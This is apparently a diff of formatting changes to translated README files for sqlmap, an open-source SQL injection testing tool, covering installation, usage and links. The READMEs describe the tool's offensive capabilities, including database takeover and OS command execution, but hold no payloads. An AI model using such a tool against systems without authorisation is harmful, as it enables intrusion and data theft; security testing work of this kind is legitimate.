or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Raportowanie błędów: https://github.com/sqlmapproject/sqlmap/issues * Raportowanie błędów: https://github.com/sqlmapproject/sqlmap/issues
* Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki * Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -2,25 +2,32 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de
falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas
web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso,
empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de
dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
Imagens Imagens
---- ----
![Imagem](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Imagem](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demonstra alguns dos recursos apresentados na wiki. Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demonstra alguns
dos recursos apresentados na wiki.
Instalação Instalação
---- ----
Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o
arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap): De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.6**, **2.7** e **3.x** em todas as plataformas. sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.6**, **2.7** e **3.x** em todas as
plataformas.
Como usar Como usar
---- ----
@ -34,13 +41,16 @@ Para obter a lista completa de opções faça:
python sqlmap.py -hh python sqlmap.py -hh
Você pode encontrar alguns exemplos [aqui](https://asciinema.org/a/46601). Você pode encontrar alguns exemplos [aqui](https://asciinema.org/a/46601).
Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e a descrição de todas as opções, juntamente com exemplos, aconselhamos que você consulte o [manual do usuário](https://github.com/sqlmapproject/sqlmap/wiki). Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e a descrição de todas as opções,
juntamente com exemplos, aconselhamos que você consulte
o [manual do usuário](https://github.com/sqlmapproject/sqlmap/wiki).
Links Links
---- ----
* Homepage: https://sqlmap.org * Homepage: https://sqlmap.org
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki * Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -2,25 +2,32 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvršavanja komandi na operativnom sistemu korištenjem tzv. "out-of-band" veza. sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije
sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom
korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka,
preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvršavanja komandi na operativnom sistemu
korištenjem tzv. "out-of-band" veza.
Slike Slike
---- ----
![Slika](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Slika](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Možete posetiti [kolekciju slika](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gde su demonstrirane neke od e se demonstriraju neke od funkcija na wiki stranicama. Možete posetiti [kolekciju slika](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gde su demonstrirane neke od
e se demonstriraju neke od funkcija na wiki stranicama.
Instalacija Instalacija
---- ----
Možete preuzeti najnoviji tarball klikom [ovde](https://github.com/sqlmapproject/sqlmap/tarball/master) ili najnoviji zipball klikom [ovde](https://github.com/sqlmapproject/sqlmap/zipball/master). Možete preuzeti najnoviji tarball klikom [ovde](https://github.com/sqlmapproject/sqlmap/tarball/master) ili najnoviji
zipball klikom [ovde](https://github.com/sqlmapproject/sqlmap/zipball/master).
Opciono, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija: Opciono, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi. sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili *
*3.x** na bilo kojoj platformi.
Korišćenje Korišćenje
---- ----
@ -34,13 +41,15 @@ Kako biste dobili listu svih opcija i prekidača koristite:
python sqlmap.py -hh python sqlmap.py -hh
Možete pronaći primer izvršavanja [ovde](https://asciinema.org/a/46601). Možete pronaći primer izvršavanja [ovde](https://asciinema.org/a/46601).
Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih funkcija, te opis svih opcija i prekidača, zajedno s primerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih funkcija, te opis svih opcija i prekidača, zajedno s
primerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Linkovi Linkovi
---- ----
* Početna stranica: https://sqlmap.org * Početna stranica: https://sqlmap.org
* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS feed promena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom * RSS feed promena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues
* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki * Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -2,25 +2,32 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение. sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс
обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения,
множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают
работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в
операционной системе через out-of-band соединение.
Скриншоты Скриншоты
---- ----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Вы можете посетить [набор скриншотов](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) демонстрируемые некоторые функции в wiki. Вы можете посетить [набор скриншотов](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) демонстрируемые
некоторые функции в wiki.
Установка Установка
---- ----
Вы можете скачать последнюю версию tarball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/tarball/master) или последний zipball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/zipball/master). Вы можете скачать последнюю версию tarball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/tarball/master) или
последний zipball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/zipball/master).
Предпочтительно вы можете загрузить sqlmap, клонируя [Git](https://github.com/sqlmapproject/sqlmap) репозиторий: Предпочтительно вы можете загрузить sqlmap, клонируя [Git](https://github.com/sqlmapproject/sqlmap) репозиторий:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.6**, **2.7** и **3.x** на любой платформе. sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.6**, **2.7** и **3.x** на любой
платформе.
Использование Использование
---- ----
@ -34,13 +41,16 @@ sqlmap работает из коробки с [Python](https://www.python.org/d
python sqlmap.py -hh python sqlmap.py -hh
Вы можете найти пробный запуск [тут](https://asciinema.org/a/46601). Вы можете найти пробный запуск [тут](https://asciinema.org/a/46601).
Чтобы получить обзор возможностей sqlmap, список поддерживаемых функций и описание всех параметров и переключателей, а также примеры, вам рекомендуется ознакомится с [пользовательским мануалом](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Чтобы получить обзор возможностей sqlmap, список поддерживаемых функций и описание всех параметров и переключателей, а
также примеры, вам рекомендуется ознакомится
с [пользовательским мануалом](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Ссылки Ссылки
---- ----
* Основной сайт: https://sqlmap.org * Основной сайт: https://sqlmap.org
* Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Канал новостей RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Канал новостей RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues * Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues
* Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki * Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -2,7 +2,9 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek bir çok aracı, -uzak veritabınınından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi - işlevleri de barındırmaktadır. sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır.
sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek bir çok aracı, -uzak
veritabınınından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi - işlevleri de barındırmaktadır.
Ekran görüntüleri Ekran görüntüleri
@ -10,20 +12,22 @@ Ekran görüntüleri
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
İsterseniz özelliklerin tanıtımının
İsterseniz özelliklerin tanıtımının yapıldığı [ekran görüntüleri](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) sayfasını ziyaret edebilirsiniz. yapıldığı [ekran görüntüleri](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) sayfasını ziyaret edebilirsiniz.
Kurulum Kurulum
---- ----
[Buraya](https://github.com/sqlmapproject/sqlmap/tarball/master) tıklayarak en son sürüm tarball'ı veya [buraya](https://github.com/sqlmapproject/sqlmap/zipball/master) tıklayarak zipbal'ı indirebilirsiniz. [Buraya](https://github.com/sqlmapproject/sqlmap/tarball/master) tıklayarak en son sürüm tarball'ı
veya [buraya](https://github.com/sqlmapproject/sqlmap/zipball/master) tıklayarak zipbal'ı indirebilirsiniz.
Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayarak indirebilirsiniz Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayarak indirebilirsiniz
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.6**, **2.7** and **3.x** versiyonları ile bütün platformlarda çalışabilmektedir. sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.6**, **2.7** and **3.x** versiyonları ile bütün
platformlarda çalışabilmektedir.
Kullanım Kullanım
---- ----
@ -37,13 +41,16 @@ Bütün seçenekleri gösterir
python sqlmap.py -hh python sqlmap.py -hh
Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası için sqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası için sqlmap'in bütün
ıklamaları ile birlikte bütün özelliklerinin, örnekleri ile
bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz
Bağlantılar Bağlantılar
---- ----
* Anasayfa: https://sqlmap.org * Anasayfa: https://sqlmap.org
* İndirme bağlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * İndirme bağlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commitlerin RSS beslemeleri: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Commitlerin RSS beslemeleri: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues * Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues
* Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki * Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -2,25 +2,32 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній системі через out-of-band з'єднання. sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і
використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення,
безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу
з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній
системі через out-of-band з'єднання.
Скриншоти Скриншоти
---- ----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Ви можете ознайомитися з [колекцією скриншотів](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), які демонструють деякі функції в wiki. Ви можете ознайомитися з [колекцією скриншотів](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), які
демонструють деякі функції в wiki.
Встановлення Встановлення
---- ----
Ви можете завантажити останню версію tarball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/tarball/master) або останню версію zipball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/zipball/master). Ви можете завантажити останню версію tarball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/tarball/master)
або останню версію zipball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/zipball/master).
Найкраще завантажити sqlmap шляхом клонування [Git](https://github.com/sqlmapproject/sqlmap) репозиторію: Найкраще завантажити sqlmap шляхом клонування [Git](https://github.com/sqlmapproject/sqlmap) репозиторію:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap «працює з коробки» з [Python](https://www.python.org/download/) версії **2.6**, **2.7** та **3.x** на будь-якій платформі. sqlmap «працює з коробки» з [Python](https://www.python.org/download/) версії **2.6**, **2.7** та **3.x** на будь-якій
платформі.
Використання Використання
---- ----
@ -34,13 +41,16 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow
python sqlmap.py -hh python sqlmap.py -hh
Ви можете знайти приклад виконання [тут](https://asciinema.org/a/46601). Ви можете знайти приклад виконання [тут](https://asciinema.org/a/46601).
Для того, щоб ознайомитися з можливостями sqlmap, списком підтримуваних функцій та описом всіх параметрів і перемикачів, а також прикладами, вам рекомендується скористатися [інструкцією користувача](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Для того, щоб ознайомитися з можливостями sqlmap, списком підтримуваних функцій та описом всіх параметрів і перемикачів,
а також прикладами, вам рекомендується
скористатися [інструкцією користувача](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Посилання Посилання
---- ----
* Основний сайт: https://sqlmap.org * Основний сайт: https://sqlmap.org
* Завантаження: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) або [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Завантаження: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
або [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Канал новин RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Канал новин RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Відстеження проблем: https://github.com/sqlmapproject/sqlmap/issues * Відстеження проблем: https://github.com/sqlmapproject/sqlmap/issues
* Інструкція користувача: https://github.com/sqlmapproject/sqlmap/wiki * Інструкція користувача: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -2,27 +2,34 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng tiêm SQL và tiếp quản các máy chủ cơ sở dữ liệu. Nó đi kèm với sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng tiêm SQL
một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện cơ sở dữ liệu, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập tệp của hệ thống và thực hiện các lệnh trên hệ điều hành từ xa. và tiếp quản các máy chủ cơ sở dữ liệu. Nó đi kèm với
một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy
chọn bao gồm phát hiện cơ sở dữ liệu, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập tệp của hệ thống và thực hiện các
lệnh trên hệ điều hành từ xa.
Ảnh chụp màn hình Ảnh chụp màn hình
---- ----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), chúng trình bày một số tính năng có thể tìm thấy trong wiki. Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), chúng
trình bày một số tính năng có thể tìm thấy trong wiki.
Cài đặt Cài đặt
---- ----
Bạn có thể tải xuống tập tin nén tar mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc tập tin nén zip mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/zipball/master). Bạn có thể tải xuống tập tin nén tar mới nhất bằng cách nhấp
vào [đây](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc tập tin nén zip mới nhất bằng cách nhấp
vào [đây](https://github.com/sqlmapproject/sqlmap/zipball/master).
Tốt hơn là bạn nên tải xuống sqlmap bằng cách clone với [Git](https://github.com/sqlmapproject/sqlmap): Tốt hơn là bạn nên tải xuống sqlmap bằng cách clone với [Git](https://github.com/sqlmapproject/sqlmap):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap hoạt động hiệu quả với [Python](https://www.python.org/download/) phiên bản **2.6**, **2.7****3.x** trên bất kì hệ điều hành nào. sqlmap hoạt động hiệu quả với [Python](https://www.python.org/download/) phiên bản **2.6**, **2.7****3.x** trên bất
kì hệ điều hành nào.
Sử dụng Sử dụng
---- ----
@ -36,13 +43,16 @@ Sử dụng
python sqlmap.py -hh python sqlmap.py -hh
Bạn có thể xem video chạy thử [tại đây](https://asciinema.org/a/46601). Bạn có thể xem video chạy thử [tại đây](https://asciinema.org/a/46601).
